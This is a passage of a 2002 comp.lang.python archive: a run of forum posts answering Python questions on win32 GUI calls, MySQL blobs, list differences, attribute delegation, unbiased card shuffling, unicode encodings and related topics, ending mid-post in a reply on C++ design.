44BCCD8E Sex, drugs and rock-n-roll From nhodgson at bigpond.net.au Mon May 20 02:59:16 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Mon, 20 May 2002 06:59:16 GMT Subject: pythonwin, GetWindowText hangup & more References: <548ef0ae.0205192050.6930968e@posting.google.com> Message-ID: <891G8.154270$o66.457288@news-server.bigpond.net.au> Miki Tebeka: > I took the win32gui_taskbar.py demo and changed it a bit. > In the loop starting at line 80 there is a hangup when calling > GetWindowText. When I run this code isolated it seems to work find. > > Any ideas? Avoid calling GetWindowText on the BeeKiller window itself as you are in a busy loop, therefore not handling messages, therefore not responding to the WM_GETTEXT message sent to discover your own text. for w in windows: if w != hwnd: title = GetWindowText(w) > And another question: > How do I get process id from hwnd? (Can't see GetWindowThreadProcessId > in win32api) Can't recall. Neil From aleax at aleax.it Sat May 4 07:19:43 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 11:19:43 GMT Subject: Insert blob data to MySQL References: Message-ID: Gerhard H?ring wrote: ... >>>>>> cc.execute("""INSERT INTO blobtbl (b) VALUES(%s)""", (s,)) >>> 1L >> >> If s is 'anything' (e.g., a cPickle.dumps with binary option set), >> MySQLdb.escape_string(s) is likely to work better than plain s >> as the value to put in the tuple that's execute's second arg. > > AFAIC you shouldn't need to do this. converters.Thing2Literal is the Interesting! I was convinced the escape_string was needed, but testing right now (with the latest versions) confirms Gerhard's suggestion -- I'm not sure where my misconception had come from (or why it had apparently never 'bit' me -- sheer "luck" I guess!). To give good info in exchange for good info: > blob = "".join(map(lambda x: chr(x), range(256))) Peculiarly redundant -- ''.join(map(chr, range(256))) being quite equivalent. And a good example of why we'd be better off without lambda:-). Alex From max at alcyone.com Fri May 10 03:21:07 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 10 May 2002 00:21:07 -0700 Subject: Has Red Hat helped or hurt? References: Message-ID: <3CDB74E3.16F3923@alcyone.com> Christian Tanzer wrote: > But you continue to rant about breakages without supplying any > evidence of where it really mattered to you. In particular, IIRC you > always talk about breaks where the code was made consistent with the > documentation (e.g., list.append) or an obsolete module was removed > (e.g., rand). Another example of the former -- and the only "breakage" that affected me in any way -- was that arguments which took socket addresses as arguments allowed two arguments instead of a 2-tuple. And I knew about that when I upgraded, so fixed it within moments. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From tebeka at cs.bgu.ac.il Tue May 21 04:27:36 2002 From: tebeka at cs.bgu.ac.il (Miki Tebeka) Date: 21 May 2002 01:27:36 -0700 Subject: Howto get process id from window handler (windows) Message-ID: <33803989.0205210027.65b5c7ec@posting.google.com> Hello All, I'd like to find a application by name and then terminate it. EnumWindows gives my the window handle of all current windows, however TerminateProcess needs a process handle. How can I make the link? (hWnd -> hInstance) Thanks. Miki From logstx at bellatlantic.net Wed May 1 22:32:27 2002 From: logstx at bellatlantic.net (logistix) Date: Thu, 02 May 2002 02:32:27 GMT Subject: NEWBIE QUESTIION: Comparing Lists in Python References: <5Z0A8.185$Q85.6597@ozemail.com.au> Message-ID: <%y1A8.14587$ap4.9144@nwrddc03.gnilink.net> The most general way would be to just copy the list instead of using a dict and remove the elements: >>> diff = list1[:] >>> for item in diff: ... if item in list2: ... diff.remove(item) ... >>> diff [1, 2, 3] List comprehensions would be my favorite (although many will disagree): >>> list1 = [1,2,3,4,5] >>> list2 = [4,5,6,7,8] >>> returnList1 = [val for val in list1 if val not in list2] >>> returnList2 = [val for val in list2 if val not in list1] >>> returnList1 [1, 2, 3] >>> returnList2 [6, 7, 8] Filter will also work: >>> filter(lambda a,list2=list2:not a in list2, list1) [1, 2, 3] -- - "Dianne van Dulken" wrote in message news:5Z0A8.185$Q85.6597 at ozemail.com.au... > Hi everyone, > > I haven't been using python for very long, so I hope you will forgive me if > I am asking a stupid question, or doing this in a stupid way. > > I am trying to compare two lists in Python, which have been passed into it. > I want to return the difference between the two lists as again two lists > > eg: > > list 1 = item1, item5, item8, item10 > list2 = item 3, item4, item5 > > I want to return > > returnlist1 = item1, item8, item10 > returnlist2 = item3, item4 > > I haven't been working in python very long, but from what I have read, the > best way is to convert these to a dictionary, and compare there. This is > what I have done so far. > > list1 = list1.split(',') > list2 = list2.split(',') > > returnlist1 = [] > returnlist2 = [] > > d = {} > for item in list1: > if item not in list2: > d[item] = item > if d: > returnlist1 = d.values() > > d2 = {} > for item in list2: > if item not in list1: > return item > d2[item] = item > if d2: > returnlist2 = d2.values() > > return [returnlist1,returnlist2] > > > I found if I didn't include the split, but just passed in a list like > "list1=[item1, item3, item] it would work only on 1 character at a time and > not recognise it was a split. > > Please let me know if I am doing this in a very stupid way. The problem is > that it isn't always recognising the lists, or comparing correctly. It > finds returnlist1 OK, but not returnlist2. > > I'm using python scripts in Zope if that may also be causing a problem. > > Thanks very much > > Di > > > -- > Dianne van Dulken > (put out the cats to talk to me) > > See the cutest puppy in the known universe (as voted by Rick and i) > http://www.dogmac.com/bartholomew > > From whisper at oz.net Thu May 9 11:37:20 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 9 May 2002 08:37:20 -0700 Subject: auto read multiple files In-Reply-To: Message-ID: import os.path (from 2.2.1 python doc): walk(path, visit, arg) Calls the function visit with arguments (arg, dirname, names) for each directory in the directory tree rooted at path (including path itself, if it is a directory). The argument dirname specifies the visited directory, the argument names lists the files in the directory (gotten from os.listdir(dirname)). The visit function may modify names to influence the set of directories visited below dirname, e.g., to avoid visiting certain parts of the tree. (The object referred to by names must be modified in place, using del or slice assignment.) python22/tools/versioncheck/checkversions.py has a usage example. I just discovered this gem t'other day while perusing the doc. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Rad > Sent: Thursday, May 09, 2002 7:59 > To: python-list at python.org > Subject: auto read multiple files > > > Hi, > > I have about 2500 text files to read (and manipulate) from apx. 625 > directories (i.e. 4 files per directory) eg: > C:\Python22\data\ProjectName\001\FileName1.001 > FileName2.001 > FileName3.001 > FileName4.001 > C:\Python22\data\ProjectName\002\FileName1.002 > FileName2.002 > FileName3.002 > FileName4.002 > > > C:\Python22\data\ProjectName\625\FileName1.625 > FileName2.625 > FileName3.625 > FileName4.625 > I want to apply the same procedure/s to all(625) sets of four files > without having to explicitly specify paths and FileNames, i.e. run the > program and leave it over night to do the work on all 2500 files. > I could create a list of all the file names and use it to access files > 4 by 4 but I guess this is not the best way. > > Any ideas? > > P.S. If it makes things easier I could move all the files into one > directory thus have fixed path. (related sets of 4 files have same > extensions) > > P.P.S. Win98/Win2k > Python2.2.1 > -- > http://mail.python.org/mailman/listinfo/python-list From Michael_Chean at msn.com Fri May 3 15:42:34 2002 From: Michael_Chean at msn.com (Michael Chean) Date: 3 May 2002 12:42:34 -0700 Subject: Golfing in 'your-language-here' References: <3CCD6D8B.80C387E3@ameritech.net> <3CCE16F0.3020108@hgardner.com> <3CCE90B0.66B8C6AD@ameritech.net> <50f2f950.0205011543.79e7bb9d@posting.google.com> <3CD125F1.29C02AEA@ameritech.net> Message-ID: <50f2f950.0205031142.6c263b95@posting.google.com> O.K. I'm speaking way outside my experience, but my understanding of Pocket Smalltalk (http://www.pocketsmalltalk.com/) is that it started with a Dolphin front end which generated a Palm smalltalk code. From cbbrowne at acm.org Sat May 18 17:26:21 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Sat, 18 May 2002 17:26:21 -0400 Subject: Python w/Forth Runtime???? References: <3CE5AFD3.32D59F@tundraware.com> <3CE5C208.5F41AD8A@tundraware.com> <3CE5CD61.AAA28676@tundraware.com> Message-ID: Oops! Tim Daneliuk was seen spray-painting on a wall: > Christopher Browne wrote: >> >> In the last exciting episode, Tim Daneliuk wrote:: >> > Gerhard H?ring wrote: >> >> >> >> Tim Daneliuk wrote in comp.lang.python: >> >> > Python does just what needs doing ... see the end of this piece for why: >> >> > >> >> > http://www.tundraware.com/Technology/Bullet/ >> >> >> >> What's the connection with the Subject of your posting? >> > At the end of the piece I suggest that a "ideal" language would >> > be one which has the paradigmatic richness of Python but whose >> > runtime execution environment was reaslized in something very >> > sleek and light like Forth. >> > The overall article is about the dangers of locking into a single >> > programming paradigm (like OO) for everything and that real world >> > problems require multiple *simultaneous* paradigms for reasonable >> > solutions. I think Python is almost alone in trying to >> > incroporate that very idea in the language. >> >> Python is not alone in this. >> >> Common Lisp conspicuously supports multiple simultaneous paradigms. > > Could you expand on this a bit? It has been a *very* long time since I > even looked at Lisp, let along programmed it... Approaches that are well-supported off the top of my head include: -> Traditional procedural programming; -> Functional/applicative programming (rather like Python's functional aspects); -> Object oriented programming; -> Rich sets of extendable data structures including complex structures like arrays, vectors, hash tables, lists, structures, objects with customizable sets of slots, ... -> The SERIES package allows using Icon-like generators, with the corresponding ability to do lazy evaluation; -> Macros allow constructing custom control structures; -> Reader macros allow constructing custom syntax. You can do "procedural" if you want; you can do "OO" if you want; you can do "functional" if you want. You're not forced to use stuff you don't want (aside from being forced to use lots of parentheses :-)). Contrast with Ruby (as an extreme case of 'single-paradigmic'); in Ruby, _everything_ is an object, including numbers, which means that _everything_ has to get fit into some part of the object hierarchy, whether you wanted to care about that or not. It's not a horrid language at all, but you know you're getting into 'purely OO' when you get into Ruby. C++ would also be an example of a "multiparadigmic" language, unfortunately one that's pretty ugly. Its set of paradigms _includes_ OO as well as procedural programing. You can write code that is essentially non-OO in C++, just as you can in Python and Lisp. (C++ doesn't offer FP or generators or a particularly powerful macro system, from whence comes a lot of the pain of templates, but I digress...) Kendall pointed out Mozart/Oz as another "multiparadigmic" language; it combines FP, constraint logic, OO, and distributed programming. (If it wasn't so tied to running atop Emacs, I'm sure it would be more popular. Note that I say this as an unabashed fan of Emacs...) I'd point at Ada as another such language. -- (reverse (concatenate 'string "moc.enworbbc@" "sirhc")) http://www.ntlug.org/~cbbrowne/languages.html "I'd crawl over an acre of 'Visual This++' and 'Integrated Development That' to get to gcc, Emacs, and gdb. Thank you." -- Vance Petree, Virginia Power From BPettersen at NAREX.com Mon May 20 17:19:03 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Mon, 20 May 2002 15:19:03 -0600 Subject: Anyone have a EBCDIC codec? Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E79@admin56.narex.com> Anyone have a EBCDIC codec for Python 2.2.1? -- bjorn From aleax at aleax.it Sat May 4 11:55:36 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 15:55:36 GMT Subject: Is there a way to 'mask out' inherited methods? References: <6LKA8.2676$zW3.60822@news1.tin.it> Message-ID: Ralf Juengling wrote: > Alex Martelli writes: > >> so you can now do that (slowly:-) where earlier you could not, >> and you could try your hand at writing a custom metaclass for >> such masking purposes (not trivial), but by far the best approach >> remains as it always was to eschew inheritance when it does >> not meet your needs in favour of automatic (possibly selective) >> delegation/aggregation/containment. > > What dou you mean with 'automatic' in your last sentence? I mean automatic, as in a typical dictionary definition: "Acting or done as if by machine; mechanical". A simple example would be: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52295 > I don't like to write wrappers (trivial code, yes) to the > aggregated object to expose a subset of its methods. > Is there a way to avoid writing wrappers? You don't need to wrap every method individually, of course, but you do have to provide either a list of method names to be forwarded/delegated, or one of names to be 'blocked'; your __getattr__ will have to be coded accordingly. Note that __getattr__ is only called when an attribute is NOT found "by normal means" -- this is what makes it reasonably fast. For a newstyle class, you can also choose to code __getattribute__ instead -- now THAT is called for EVERY access to an attribute, and it's fully responsible to determine whether and how said attribute is "found" (most often it delegates up to object.__getattribute__(self, name) except for some names that it wants to deal with differently). I think I already showed you an example of __getattribute__, but, alas, it IS slow, because it keeps getting called for EVERY attribute access on your object. In particular, __getattr__ is not called for methods that you inherit -- because those are found "by normal means". Here's an example of an object that wants to "be" a list in some sense -- but, only in the read sense; it doesn't want to be altered by any means the list class might supply, including __setitem__, __setslice__, __delitem__, append, extend, pop, etc, etc. Its alleged reason for being is to support a fast __contains__ via an auxiliary dictionary. class rolist(object): _tolist = '''__add__ __mul__ __eq__ __ge__ __getitem__ __getslice__ __gt__ __le__ __len__ __lt__ __ne__ __repr__ __rmul__ __str__ count index'''.split() _tolist = dict(zip(_tolist,_tolist)) def __init__(self, *args): self.L = list(*args) self.D = dict(zip(self.L,self.L)) self.H = None def __radd__(self, other): return other + self.L def __contains__(self, item): return item in self.D def __iter__(self): return iter(self.L) def __hash__(self): if self.H is None: self.H = hash(tuple(self.L)) return self.H def __getattr__(self, name): if name in self._tolist: return getattr(self.L, name) raise AttributeError(name) I may have forgotten something, and this is untested code, but I hope it does give the right general idea. The main enemy of automatic delegation is the benighted code that checks for an object's type (type(x)==type(y) the worst, which not even inheriting can help with, but even slightly less benighted code that uses isinstance will choke on the check if a rolist instance 'is-a' list -- just as it would choke on an instance of UserList, etc). PEP 246 (acceptance and later widespread use of it) would deal with the issue, for those rare cases where some form of 'type=checking' (or better, _adaptation_) is actually needed, but most often the blight of type-checking comes from wilful disregard for the benefits of Python's powerful signature-based polymorphism. For THAT, only education about the huge costs of typechecking may perhaps provide a long-term solution (although appropriate use of automatic weapons is certainly a tempting alternative, I suspect the Python community, being so friendly and welcoming and all that, might frown on that, sigh -- go figure). Alex From aleax at aleax.it Thu May 2 17:07:33 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 21:07:33 GMT Subject: debian python-mysqldb References: Message-ID: Billy Ng wrote: > actually I should use? Would any please tell me how call the > python-mysqldb methods? http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/65235 Alex From marklists at mceahern.com Thu May 23 17:55:37 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 23 May 2002 16:55:37 -0500 Subject: Parsing command line options In-Reply-To: <3nmqeu837rvb7laatj4pfaeblgu853siu1@4ax.com> Message-ID: You should check out optik. It rocks. Also, it's been proposed as an addition to the standard library--not sure what stage that's at, whether it's to be included in 2.3? Anyway, you'll find it here: http://optik.sourceforge.net/ // mark - From joonas.paalasmaa at iki.fi Sat May 4 16:54:47 2002 From: joonas.paalasmaa at iki.fi (Joonas Paalasmaa) Date: Sat, 04 May 2002 23:54:47 +0300 Subject: FromXMLString wanted. References: <11aed8f9.0205031158.27776f36@posting.google.com> Message-ID: <3CD44A97.64FBA66F@iki.fi> Doru-Catalin Togea wrote: > > > > I thought of a hack around it, which would consist of reading in my > > > xml file into a string, replacing non-english characters with their > > > UNICODE encodings and parsing the (xml) string. How do I do that? > > > Why don't you just convert the string to unicode bofore feeding it to > > parser. > > That's exactly what I intended to do! But what do I do with the string > after encoding it, that is how do I get a DOM tree using a string as an > XML source? > > pyxml provides methods like FromXMLStream and FromXMLFile, but no > FromXMLString. You can propably use XMLFromFile with a StringIO.StringIO instance loaded with the unicode string. doc = FromXmlFile(StringIO.StringIO(unicodestring)) From claird at starbase.neosoft.com Tue May 14 12:00:09 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 14 May 2002 11:00:09 -0500 Subject: How to solve diophantine problems? References: Message-ID: In article , Joshua, Y.J. Lai wrote: > >"Cameron Laird" wrote in message >news:EF9D274DA8540EF1.D12AA7084B83AAA2.1A9250647A55D036 at lp.airnews.net... >> In article , >> Emile van Sebille wrote: >> >Joshua, Y.J. Lai >> >> I can roughly solve the diophantine problem by using a nest loop >> > >> >I'm not familiar with the "diophantine problem" and didn't, in a quick >> >look, spot anything obvious to me stating it. >> . >> . >> . >> Rough translation: a solution in integers (to >> a system of polynomial equations and constraints). > >Thank you for your precise explanation. The problem now I suffer is how can >I write a new checking loop >instead of using two FOR LOOPs as nest loop. I am really interested in that. >I will be very grateful if anyone of you can give me some hints. > > Please explain the problem again. Are you looking for an implementation that solves this specific diophantine problem (perhaps with the coefficients as variables, with respect to the implementation) while manifesting only one overt loop, or a general way to express a program transformation which reduces loop counts for diophantine problems, or ...? At this point, you have complete knowledge--that is, a terminating procedure --about the solutions of the problems; what more can you want? you first expressed -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From cgale1 at cox.net Fri May 10 06:55:39 2002 From: cgale1 at cox.net (Van Gale) Date: Fri, 10 May 2002 10:55:39 GMT Subject: little question References: <4aNC8.26326$CN3.810152@news2.tin.it> Message-ID: Alex Martelli wrote: > shagshag wrote: > > > Does anyone knows where to find (a) python module(s) to handle inverted > > index and build it from text/xml file ? > > I'm not sure what an *inverted* index is. A dictionary indexed by > word and for each word giving the set of (filename,linenumber) where > the word appears appears as a tiny example in my Linux Magazine article, > April issue -- a few lines to build it, a few to use it for queries > "where is this word found". But that's what I'd call an index, > nothing 'inverted' about it, so I don't know what you need. > > > Alex > "Inverted index" is an older term for a file with a list of words in a document and their offset into the document. Exactly what you implemented with a dictionary, but normally implemented with a btree type index because full-text searching often needs things like stemming and wildcards (e.g. "tax*" getting hits on tax, taxes, taxation, ...) The term "inverted index" has historical roots in bibliographic indexing and hasn't really had any consistent meaning in the database world. As for Mr. shagshag, I think this link has what you're looking for :) http://gnosis.cx/publish/programming/charming_python_15.txt Van From krissepu at vip.fi Thu May 2 02:29:51 2002 From: krissepu at vip.fi (pekka niiranen) Date: Thu, 02 May 2002 06:29:51 GMT Subject: Theoretical question about Lambda Message-ID: <3CD0DCD6.4050403@vip.fi> After reading about Scheme, I begun to wonder: Is there any forced need for Lambda's in Python ? I mean does Lambda contribute anything that cannot be done otherwise in Python ? -pekka- From pyth at devel.trillke.net Thu May 16 15:22:37 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 21:22:37 +0200 Subject: how to determine an 'open' string? In-Reply-To: ; from tjreedy@udel.edu on Thu, May 16, 2002 at 06:53:05PM +0000 References: Message-ID: <20020516212237.N28033@prim.han.de> Terry Reedy wrote: > > "holger krekel" wrote in message > news:mailman.1021560087.23138.python-list at python.org... > > with my replacement rlcompleter module i'd like to > > have a *correct* check if a string is 'open'. > > examples: > > > > asd"""askdjalsdk # open > > aksdjasd # closed > > asjdkk"kajsd'''' # open > > "'asdasd" # closed > > """dontcountoneven" # open > > > > so i need a function which takes these strings as > > an argument and return 1 for 'open', 0 for a 'closed' string. > > > > Any working ideas? > > What means 'open'? A few examples do not a definition make. Write a > complete definition (one that applies to all strings) that *you* > regard as correct and think you are willing to live with. Then > translate to code (probably the easier part). sorry. i was to implicit in denoting that i refer to the known python rules for the definition. probably i thought that the reference of 'rlcompleter' gave enough context. the question is more exactly: Given a string S, does S end in an unmatched or matched quotation (quotation marks beeing ',",""",'''). The matching rules are those of our beloved python. And no, the code was not exactly obvious. There are many ways how you can do it wrongly :-) Harvey Thomas has already solved this nicely. holger From grahamd at dscpl.com.au Fri May 17 23:56:35 2002 From: grahamd at dscpl.com.au (Graham Dumpleton) Date: 17 May 2002 20:56:35 -0700 Subject: Location of Kevin Cazabon's PIL fonts. Message-ID: In the past at some time, Kevin Cazabon made available a whole bunch of prepackaged fonts at various DPI for the Python Imaging Library (PIL). These can be found referenced at: http://www.cs.usyd.edu.au/~piers/python/pilfonts.html The actual site containing the files is: http://www.cazabon.com/python/PIL_fonts Unfortunately the site never seems to respond, or at least there is no HTTP server listening anymore as the box is running. Are these fonts located anywhere else? I can't find any further references on Google. Alternatively, can anyone point me to a site describing and providing scripts for generating 300dpi PIL fonts from some other format. I guess probably from TrueType fonts so that they will look reasonable, basing them on 75dpi or 100dpi X windows fonts wouldn't probably be any good for what I need them for. Thanks in advance. From kkto at csis.hku.hk Wed May 29 22:57:30 2002 From: kkto at csis.hku.hk (Isaac To) Date: 30 May 2002 10:57:30 +0800 Subject: Why no open(f, "w").write()? References: <83n0uimmal.fsf@panacea.canonical.org> Message-ID: <7i66169wbp.fsf@enark.csis.hku.hk> >>>>> "Kragen" == Kragen Sitaker writes: Kragen> "Delaney, Timothy" writes: >> You should never rely on automatic freeing of *any* resources unless >> it is guaranteed. Always explicitly free resources when you have >> finished with them. Kragen> You mean, assume you have no garbage collector? If I had to do Kragen> that, my Python code would get a *lot* more complex. Garbage collection is for collecting memory. So for memory matters, you can (and actually, must) give up the control to the garbage collector. For anything else, you *must* do it explicitly. Surely you shouldn't lock a mutex and remove the reference to the mutex, hoping that the garbage collector will unlock it quickly enough. Regards, Isaac. From noah at noah.org Mon May 20 02:09:00 2002 From: noah at noah.org (Noah) Date: Sun, 19 May 2002 23:09:00 -0700 Subject: why the code error? In-Reply-To: <180fb736.0205191850.4aaee16@posting.google.com> Message-ID: The exception syntax you used is correct, but it does not assign the exception to a variable. You just need to add a variable to your except statement. For the except section you want it to look like this: except IOError, e: print str(e) return So the way you used it you cannot get specific information about the exception. In addition you could import traceback and print the stack. This may give you more interesting information. It would look something like this: import traceback ... try: ... except IOError, e: print str(e) traceback.print_exc() return Yours, Noah -----Original Message----- From: python-list-admin at python.org [mailto:python-list-admin at python.org]On Behalf Of lunxian Sent: Sunday, May 19, 2002 7:50 PM To: python-list at python.org Subject: why the code error? i'm a newbie of python. i encounter a problem in my programming. here is my program. when it's running, a IOError always raised. why? and how can i get more detail error message of the exception? import os import sys def Parser(filename): lines = None try: fsock = file("forparser.py","r",0) try: lines = fsock.readlines() finally: fsock.close() except IOError: print IOError.__str__ return for line in lines: print line if __name__ == "__main__": Parser("c:\forparser.py") From tim.one at comcast.net Sun May 12 03:00:27 2002 From: tim.one at comcast.net (Tim Peters) Date: Sun, 12 May 2002 03:00:27 -0400 Subject: Is there such a beast as a "perfect" shuffle? :) In-Reply-To: Message-ID: > http://www.faqts.com/knowledge_base/view.phtml/aid/4406/fid/546 [Christos Georgiou] > This seems to be what I want, as long as it works. Thanks, tim_one. How will you know whether it works <0.1 wink>? While the std random.shuffle() can only get at a miniscule percentage of the possible permutations of a deck of cards, random.random()'s period is about 7e12, and that's enough for an awful lot of permutations. Do you have a test in mind that can distinguish them from a truly random sampling? If not, you're probably making life needlessly difficult. [Christopher Browne] > ... > The nonintuitive part is that the random range shrinks as you move > along. If you leave the range open, there's a bit of a bias. It's a > significant bias, if there are only 3 cards. It's not nearly so > significant with 52. > > You could do far worse than running through the 52 locations and, for > each one, swap it with a randomly selected location. That will > certainly shuffle things about pretty decently. [back to Christos] > ... > The algorithm I always[1] used for shuffling a sequence / array was the > one you describe in your last paragraph, and I am not that sure about > the effectiveness of the 'non-intuitive' modification, but I have not a > reason to doubt you, apart from my programmer's stubbornness :). Christopher is right, and if you haven't detected any bias from the algorithm you've been using, it really doesn't matter which random number generator you use . Simple proof: suppose at each of 52 positions, you swap the current position with any of the 52. Then you make 52 choices 52 times, so there are 52**52 possible ways the algorithm can go. Since 52! doesn't divide 52**52 evenly, the algorithm necessarily favors some permutations over others. In Christopher's variation (which the std random.shuffle implements), at the first position you make one of 52 choices, at the second position one of 51 choices, and so on. There are 52! possible ways the algorithm can go, and 52! does divide into that evenly. That doesn't prove it's a correct algorithm (see, e.g., Knuth for a proof -- it's easy), but it does show that it's not obviously broken. Play with this: def shuffle(N): from random import randrange countfirst = [0] * N count = 0 while 1: count += 1 cards = range(N) # Bad algorithm! for i in range(N): j = randrange(N) cards[i], cards[j] = cards[j], cards[i] first = cards[0] countfirst[first] += 1 if count % N == 0: print countfirst shuffle(52) If you pass 1 or 2, there's no bias evident in which card ends up in the first position after shuffling. In fact, the algorithm *is* fair for N=1 and N=2. But for N > 2 the bias is obvious from inspection of the output, and, contrary to Christopher's claim, it's a major bias at N=52 too. Look at, e.g., how often the original 2nd card ends up in the first position, compared to how often the original last card ends up first: it's harder for the last card to end up first. This isn't because of a bias in random.randrange: the *algorithm* simply gives the second card more chances than the last to end up first. OTOH, every card has an equal chance of ending up in the last position. The breakage is subtle that way, but it's real and highly significant. worry-about-the-70th-digit-after-the-1st-one-is-repaired-ly y'rs - tim From mhammond at skippinet.com.au Tue May 28 19:09:20 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Tue, 28 May 2002 23:09:20 GMT Subject: Win32uiHostGlue References: Message-ID: <3CF40E85.7050407@skippinet.com.au> Michael Ingram wrote: > So I guess I'll accept my Klebold of the month award now. > > I don't seem to be capable of grasping the concept of Win32uiHostGlue, > Win32ui or how I can leverage these tools from my MFC application. > > From Win32uiHostGlue.h rev.1.7 I've derived class PY_HostGlue (below). > From "Embedding Pythonwin", I've pretty much copied initscore.py > (init.py, also below). > > If I import init.py from Pythonwin, the script seems to import > properly. And if I type the command: init.app.InitInstance() the > interactive window is indeed minimized. > > Now, from within my MFC application, I can call > glue.DynamicApplication("import init") without any errors and stepping > through PY_HostGlue.h shows that Win32uiApplicationInit() is called > succesfully. But from this point on I'm not really sure what I have, > or how to use it...sorry). > > Any subsequent calls to the interpreter e.g. > PyRun_SimpleString("init.app.InitInstance()") generates a Run Time > Error, regardless of whether it's called from the MFC application or > from within the glue code. > The idea is that your application will "bootstrap" itself. For example, your application's InitInstance() method may choose to create additional windows. Pythonwin, for example, creates the interactive window. In general, your C++ MFC code shouldn't need to do much Python work, but instead your MFC C++ code should generally be called from Python. Thus, your C++ code is exposed as an extension module, and your bootstrapped Python code can then make whatever calls it needs via this module. Mark. From chrisl_ak at hotmail.com Thu May 9 19:49:36 2002 From: chrisl_ak at hotmail.com (Chris) Date: Thu, 09 May 2002 23:49:36 -0000 Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: Linux magazine seems to have a lot of interest in Python, perhaps you could somehow bundle with them? From greg at cosc.canterbury.ac.nz Thu May 16 19:56:43 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 17 May 2002 11:56:43 +1200 Subject: OT: Crazy Programming References: <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> Message-ID: <3CE4473B.6E50E539@cosc.canterbury.ac.nz> Laura Creighton wrote: > > The ability to rank something and whether it is objective or not are > independent concepts. But for the ranking to be objective, it has to be independent of the person doing the ranking. > I could find the 3 best, and the 2 worst with no trouble, and there > was broad consensus in the room about this. There was disagreement > as to the precise ranking, however. Which says to me that the ranking process is *not* completely objective. Not because the process involves people using their senses, but because the result depends on who is doing it. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From sjmachin at lexicon.net Sat May 18 21:26:43 2002 From: sjmachin at lexicon.net (John Machin) Date: Sun, 19 May 2002 01:26:43 GMT Subject: Parsing a text file for information References: Message-ID: <3ce6fcfa.94320555@news.lexicon.net> On Sun, 19 May 2002 00:52:06 GMT, "Colin Meeks" wrote: >I have a text file that is several magabytes in size and would like to >strip it of certain information. The information I want is always >preceeded by > GETTEXT= >and is in itself 18 characters long. Is there a regular expression I >could use to simplify the task. regex = r'GETTEXT=.{18,18}' # GETTEXT= followed by 18 characters other than newline You may want to make this tighter than "characters other than newline". You said you wanted to strip the info that is preceded by GETTEXT=. Are you sure you don't want to strip the GETTEXT= also???? From webmaster at apologetyka.com.pl Fri May 3 06:35:31 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Fri, 03 May 2002 12:35:31 +0200 Subject: international coding - SOLUTION Message-ID: <8sp4du0kegdh5ld96j8qu18dnra9ss8sqn@4ax.com> I have a solution for every coding. Look at my piece of Python code: import codecs utf8Txt = u"""a\u0105 c=\u0107 e\u0119 l\u0142 n\u0144 o\xf3 s\u015b z\u017c x\u017a""" # from utf-8 to cp1250: winTxt = utf8Txt.encode('cp1250') # from utf-8 to iso-8859-2: linuxTxt = utf8Txt.encode('iso-8859-2') # from utf-8 to mac-latin2: macTxt = utf8Txt.encode('mac-latin2') # from mac-latin2 to utf-8: utf8Txt2= unicode(macTxt, 'mac-latin2') # from iso-8859-2 to cp1250: winTxt = unicode(linuxTxt, 'iso-8859-2').encode('cp1250)') # check: for c in winTxt: print c, Python rulez. :) -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://3585753410/~zbiru From ponderor at lycos.com Sun May 19 22:42:22 2002 From: ponderor at lycos.com (Dean Goodmanson) Date: 19 May 2002 19:42:22 -0700 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> Message-ID: Now I've blown it. Shouldn't have posted after skimming, but after digesting. According the the copyright section it should have been reproduced in it's entirety, and my quote of the Python section may have consisted of "condensing." I apologize. Now onto remedy.. I can either: a. Post the entire text here. b. ??? From aleax at aleax.it Sat May 4 02:33:16 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 06:33:16 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: thp at cs.ucr.edu wrote: > In comp.lang.misc Peter da Silva wrote: > [...] > : C++ is horribly complex because the original design was a more or less > : pragmatic scheme to support object oriented programming in a non-object- > : oriented language. > > So, exactly which parts do you consider to be superfluous? >From the point of view of somebody setting out to write new programs in C++, the "superfluous" parts are mostly those that exist for reasons of backwards compatibility. For example, class and struct are two keywords which are exact synonyms except for a different default visibility until the first private/protected/public keyword in the class body -- this should make it obvious that there is redundancy here. Sometimes the need for backwards compatibility bytes even within C++ itself, since it developed slowly and gradually, never shedding excess baggage to avoid breaking existing programs: for example, Stroustrup, in his excellent book about the Design and Evolution of C++, points out that he was convinced to put 'protected' in the language by clever arguments rather than actual experience, and in the light of experience he'd have liked to take it out as excess baggage (more complication than its functionality is worth), but didn't feel he could, since existing programs were using it by the time he convinced himself the language would be better off without it. Do read the "D&E" book -- it's refreshingly honest about how much stuff Stroustrup himself feels could have been better but for the backwards compatibility constraints he chose to impose (no doubt those constraints did help the language's acceptance *a lot* -- but the resulting language, 